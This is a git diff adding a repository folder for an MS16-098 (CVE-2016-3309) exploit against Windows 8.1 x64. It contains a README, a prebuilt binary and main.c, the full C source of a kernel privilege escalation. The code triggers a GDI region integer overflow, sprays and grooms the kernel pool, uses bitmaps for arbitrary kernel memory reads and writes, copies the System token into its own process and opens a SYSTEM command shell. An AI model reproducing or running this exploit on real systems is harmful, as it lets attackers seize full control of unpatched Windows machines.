diff --git a/MS16-098/README.md b/MS16-098/README.md
new file mode 100644
index 0000000..f52055a
--- /dev/null
+++ b/MS16-098/README.md
@@ -0,0 +1,17 @@
+# MS16-098
+- Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects (CVE-2016-3309)
+- The exp was from [@0x5A1F](https://twitter.com/Saif_Sherei)
+
+Vulnerability reference:
+ * [MS16-098](https://technet.microsoft.com/library/security/ms16-098)
+ * [CVE-2016-3309](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3309)
+ 
+## Usage
+![win8.1](win8_1.png)
+
+## References
+
+[The previously discussed MS16-098 writeup](https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/)
+
+
+
diff --git a/MS16-098/bfill.exe b/MS16-098/bfill.exe
new file mode 100755
index 0000000..d0c1ac0
Binary files /dev/null and b/MS16-098/bfill.exe differ
diff --git a/MS16-098/main.c b/MS16-098/main.c
new file mode 100755
index 0000000..e8c54b5
--- /dev/null
+++ b/MS16-098/main.c
@@ -0,0 +1,306 @@
+#include <Windows.h>
+#include <wingdi.h>
+#include <stdio.h>
+#include <winddi.h>
+#include <time.h>
+#include <stdlib.h>
+#include <Psapi.h>
+
+HANDLE hWorker, hManager;
+BYTE *bits;
+//dt nt!_EPROCESS UniqueProcessID ActiveProcessLinks Token
+typedef struct
+{
+	DWORD UniqueProcessIdOffset;
+	DWORD TokenOffset;
+} VersionSpecificConfig;
+
+VersionSpecificConfig gConfig = { 0x2e0, 0x348 }; //win 8.1
+
+
+void AllocateClipBoard2(unsigned int size) {
+	BYTE *buffer;
+	buffer = malloc(size);
+	memset(buffer, 0x41, size);
+	buffer[size - 1] = 0x00;
+	const size_t len = size;
+	HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
+	memcpy(GlobalLock(hMem), buffer, len);
+	GlobalUnlock(hMem);
+	//OpenClipboard(0);
+	//EmptyClipboard();
+	SetClipboardData(CF_TEXT, hMem);
+	//CloseClipboard();
+	//GlobalFree(hMem);
+}
+
+
+
+
+static HBITMAP bitmaps[5000];
+
+void fungshuei() {
+	HBITMAP bmp;
+	// Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
+	for (int k = 0; k < 5000; k++) {
+		//bmp = CreateBitmap(1685, 2, 1, 8, NULL); //800 = 0x8b0 820 = 0x8e0 1730 = 0x1000 1700 = 0xfc0 1670 = 0xf70
+		bmp = CreateBitmap(1670, 2, 1, 8, NULL);										 // 1680  = 0xf80 1685 = 0xf90 allocation size 0xfa0
+		bitmaps[k] = bmp;
+	}
+
+	HACCEL hAccel, hAccel2;
+	LPACCEL lpAccel;
+	// Initial setup for pool fengshui.  
+	lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
+	SecureZeroMemory(lpAccel, sizeof(ACCEL));
+ 	// Allocating  7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
+	HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
+	HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
+	for (INT i = 0; i < 7000; i++) {
+		hAccel = CreateAcceleratorTableA(lpAccel, 1);
+		hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
+		pAccels[i] = hAccel;
+		pAccels2[i] = hAccel2;
+	}
+	// Delete the allocated bitmaps to free space at beiginig of pages
+	for (int k = 0; k < 5000; k++) {
+		DeleteObject(bitmaps[k]);
+	}
+	//allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
+	for (int k = 0; k < 5000; k++) {
+		CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
+	}
+	// Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
+	for (int k = 0; k < 5000; k++) {
+		bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size  = 3c0
+		bitmaps[k] = bmp;
+	}
+	// Allocate 17500 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
+	for (int k = 0; k < 1700; k++) { //1500
+		AllocateClipBoard2(0x30);
+	}
+	// delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
+	for (int k = 2000; k < 4000; k++) {
+		DestroyAcceleratorTable(pAccels[k]);
+		DestroyAcceleratorTable(pAccels2[k]);
+	}
+	
+}
+
+void SetAddress(BYTE* address) {
+	for (int i = 0; i < sizeof(address); i++) {
+		bits[0xdf0 + i] = address[i];
+	}
+	SetBitmapBits(hManager, 0x1000, bits);
+}
+void WriteToAddress(BYTE* data) {
+	SetBitmapBits(hWorker, sizeof(data), data);
+}
+
+LONG ReadFromAddress(ULONG64 src, BYTE* dst, DWORD len) {
+	SetAddress((BYTE *)&src);
+	return GetBitmapBits(hWorker, len, dst);
+}
+
+// Get base of ntoskrnl.exe
+ULONG64 GetNTOsBase()
+{
+	ULONG64 Bases[0x1000];
+	DWORD needed = 0;
+	ULONG64 krnlbase = 0;
+	if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
+		krnlbase = Bases[0];
+	}
+	return krnlbase;
+}
+
+// Get EPROCESS for System process
+ULONG64 PsInitialSystemProcess()
+{
+	// load ntoskrnl.exe
+
+	ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe");
+	// get address of exported PsInitialSystemProcess variable
+	ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
+	FreeLibrary((HMODULE)ntos);
+	ULONG64 res = 0;
+	ULONG64 ntOsBase = GetNTOsBase();
+	// subtract addr from ntos to get PsInitialSystemProcess offset from base
+	if (ntOsBase) {
+		ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64));
+	}
+	return res;
+}
+
+// Get EPROCESS for current process
+ULONG64 PsGetCurrentProcess()
+{
+	ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS
+
+	 // walk ActiveProcessLinks until we find our Pid
+	LIST_ENTRY ActiveProcessLinks;
+	ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
+
+	ULONG64 res = 0;
+
+	while (TRUE) {
+		ULONG64 UniqueProcessId = 0;
+
+		// adjust EPROCESS pointer for next entry
+		pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64);
+		// get pid
+		ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64));
+		// is this our pid?
+		if (GetCurrentProcessId() == UniqueProcessId) {
+			res = pEPROCESS;
+			break;
+		}
+		// get next entry
+		ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
+		// if next same as last, we reached the end
+		if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64))
+			break;
+	}
+	return res;
+}
+
+void main(int argc, char* argv[]) {
+	HDC hdc = GetDC(NULL);
+	HDC hMemDC = CreateCompatibleDC(hdc);
+	HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
+	HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
+
+	static POINT points[0x3fe01];
+
+	for (int l = 0; l < 0x3FE00; l++) {
+		points[l].x = 0x5a1f;
+		points[l].y = 0x5a1f;
+	}
+	points[2].y = 20;
+	points[0x3FE00].x = 0x4a1f;
+	points[0x3FE00].y = 0x6a1f;
+
+	if (!BeginPath(hMemDC)) {
+		fprintf(stderr, "[!] BeginPath() Failed: %x\r\n", GetLastError());
+	}	
+
+	for (int j = 0; j < 0x156; j++) {
+		if (j > 0x1F && points[2].y != 0x5a1f) {
+			points[2].y = 0x5a1f;
+		}
+		if (!PolylineTo(hMemDC, points, 0x3FE01)) {
+			fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError());
+		}
+	}
+
+	EndPath(hMemDC);
+	//Kernel Pool Fung=Shuei
+	fungshuei();
+	//getchar();
+	
+	fprintf(stdout, "[+] Trigerring Exploit.\r\n");
+	if (!FillPath(hMemDC)) {
+			fprintf(stderr, "[!] FillPath() Failed: %x\r\n", GetLastError());
+		}
+	printf("%s\r\n", "Done filling.");
+
+	HRESULT res;
+	VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+	if (!fake) {
+		fprintf(stderr, "VirtualAllocFailed. %x\r\n", GetLastError());
+	}
+	memset(fake, 0x1, 0x100);
+	
+	bits = malloc(0x1000);
+	memset(bits, 0x42, 0x1000);
+	for (int k=0; k < 5000; k++) {
+
+		res = GetBitmapBits(bitmaps[k], 0x1000, bits); //1685 * 2 * 1 + 1
+		if (res > 0x150) {
+			fprintf(stdout, "GetBitmapBits Result. %x\r\nindex: %d\r\n", res, k);
+			hManager = bitmaps[k];
+			hWorker = bitmaps[k + 1];
+
+			// Get Gh05 header to fix overflown header.
+			static BYTE Gh04[0x9];
+			fprintf(stdout, "\r\nGh04 header:\r\n");
+			for (int i = 0; i < 0x10; i++){
+				Gh04[i] = bits[0x1d0 + i];
+				fprintf(stdout, "%02x", bits[0x1d0 + i]);
+			}
+			
+			// Get Gh05 header to fix overflown header.
+			static BYTE Gh05[0x9];
+			fprintf(stdout, "\r\nGh05 header:\r\n");
+			for (int i = 0; i < 0x10; i++) {
+				Gh05[i] = bits[0xd90 + i];
+				fprintf(stdout, "%02x", bits[0xd90 + i]);
+			}
+
+			// Address of Overflown Gh04 object header
+			static BYTE addr1[0x7];
+			fprintf(stdout, "\r\nPrevious page Gh04 (Leaked address):\r\n");
+			for (int j = 0; j < 0x8; j++) {
+				addr1[j] = bits[0x210 + j];
+				fprintf(stdout, "%02x", bits[0x210 + j]);
+			}
+			//Get pvscan0 address of second Gh05 object
+			static BYTE* pvscan[0x07];
+			fprintf(stdout, "\r\nPvsca0:\r\n");
+			for (int i = 0; i < 0x8; i++) {
+				pvscan[i] = bits[0xdf0 + i];
+				fprintf(stdout, "%02x", bits[0xdf0 + i]);
+			}
+
+			// Calculate address to overflown Gh04 object header.
+			addr1[0x0] = 0;
+			int u = addr1[0x1];
+			u = u - 0x10;
+			addr1[1] = u;
+			
+			//Fix overflown Gh04 object Header
+			SetAddress(addr1);
+			WriteToAddress(Gh04);
+
+			// Calculate address to overflown Gh05 object header.
+			addr1[0] = 0xc0;
+			int y = addr1[1];
+			y = y + 0xb;
+			addr1[1] = y;
+
+			//Fix overflown Gh05 object Header
+			SetAddress(addr1);
+			WriteToAddress(Gh05);
+
+			// get System EPROCESS
+			ULONG64 SystemEPROCESS = PsInitialSystemProcess();
+			//fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);
+			ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
+			//fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);
+			ULONG64 SystemToken = 0;
+			// read token from system process
+			ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);
+			// write token to current process
+			ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
+			SetAddress((BYTE *)&CurProccessAddr);
+			
+			WriteToAddress((BYTE *)&SystemToken);
+			// Done and done. We're System :)
+			system("cmd.exe");
+			
+			break;
+		}
+		if (res == 0) {
+			fprintf(stderr, "GetBitmapBits failed. %x\r\n", GetLastError());
+		}
+	}
+	getchar();
+	//clean up
+	DeleteObject(bitobj);
+	DeleteObject(bitmap);
+	DeleteDC(hMemDC);
+	ReleaseDC(NULL, hdc);
+	VirtualFree(0x0000000100000000, 0x100, MEM_RELEASE);
+	//free(points);
+	
+}
diff --git a/MS16-098/win8_1.png b/MS16-098/win8_1.png
new file mode 100644
index 0000000..94f3e56
Binary files /dev/null and b/MS16-098/win8_1.png differ